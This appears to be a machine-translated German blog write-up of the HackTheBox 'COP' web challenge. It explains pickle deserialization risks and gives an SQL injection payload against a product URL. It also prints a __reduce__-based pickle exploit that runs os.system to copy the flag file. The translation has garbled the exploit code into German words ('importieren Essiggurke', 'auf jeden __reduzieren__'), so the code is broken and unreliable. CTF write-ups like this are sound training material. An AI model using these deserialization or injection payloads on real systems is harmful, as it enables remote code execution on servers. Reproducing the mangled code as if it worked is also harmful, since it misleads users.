Wir haben die Python-Bibliothek Pickle behandelt und erklärt, warum sie nicht mehr sicher ist. Zusätzlich haben wir gezeigt, wie man eine Webanwendung, die die Pickle-Bibliothek implementiert, zusammen mit SQL-Injection ausnutzt. Dies war Teil von HackTheBox COP-Web-Herausforderung.

Holen Sie sich Hinweise zum OSCP-Zertifikat

Der komplette Kurs zum Penetrationstest mit BackBox

BESCHREIBUNG DER HERAUSFORDERUNG

Der COP (Cult of Pickles) hat einen neuen Webshop eröffnet, um seine Waren zu verkaufen. Wir glauben, dass die Gelder für illegale Propagandaaktionen rund um Pickles verwendet werden! Untersuchen Sie die Site und versuchen Sie, einen Weg in ihre Aktivitäten zu finden!

Video-Highlights

Die anfällige URL:

http://ip:port/produkt/ansicht/1

Der Parameter „1“ kann durch eine klassische SQL-Nutzlast wie „OR „1“=“1 ersetzt werden.

Der Quellcode der Challenge zeigt, dass die Webanwendung Python-Pickle zum Serialisieren und Deserialisieren von Daten verwendet.

Das Pickle-Modul implementiert binäre Protokolle zum Serialisieren und Deserialisieren einer Python-Objektstruktur. „Pickling“ ist der Vorgang, bei dem eine Python-Objekthierarchie in einen Byte-Stream umgewandelt wird, und „Unpickling“ ist die umgekehrte Operation, bei der ein Byte-Stream (aus einer Binärdatei oder einem byteähnlichen Objekt) wieder in eine Objekthierarchie umgewandelt wird.

Python hat erklärt, dass Pickle nicht sicher zum Unpicklen ist, da es möglich ist, bösartige Pickle-Daten zu erstellen, die **beim Unpicklen beliebigen Code ausführen**. Unpicklen Sie niemals Daten, die aus einer nicht vertrauenswürdigen Quelle stammen oder, wie Python es ausdrückt, manipuliert worden sein könnten. Picklen und Unpicklen können mit `pickle.dumps` bzw. `pickle.loads` durchgeführt werden.
Die Ausnutzung von „Pickle“ kann mit „__reduce__“ durchgeführt werden, was uns die Codeausführung in den eingelegten Daten ermöglicht.
Der Zweck der Ausnutzung von „Pickle“ besteht letztendlich darin, ein Pickle zu erstellen/ändern, um Systembefehle auf dem Ziel auszuführen.

Wir haben den folgenden Exploit-Code verwendet, um die Herausforderung zu lösen.

importieren System
importieren Base64-Datenbank
importieren Essiggurke
importieren urllib.parse
importieren Anfragen
importieren Betriebssystem

Nutzlast = „cp flag.txt application/static/.“

Klasse Erfahrung:

auf jeden __reduzieren__(selbst):
zurückkehren os.system, (Nutzlast,)

Wenn __name__ == "__hauptsächlich__":

Nutzlast = base64.b64encode(pickle.dumps(Exp())).decode()

drucken(Nutzlast)

Video-Komplettlösung

Über den Autor

Ich erstelle Notizen zur Cybersicherheit, Notizen zum digitalen Marketing und Online-Kurse. Ich biete auch Beratung zum digitalen Marketing an, einschließlich, aber nicht beschränkt auf SEO, Google- und Meta-Anzeigen und CRM-Verwaltung.

Artikel anzeigen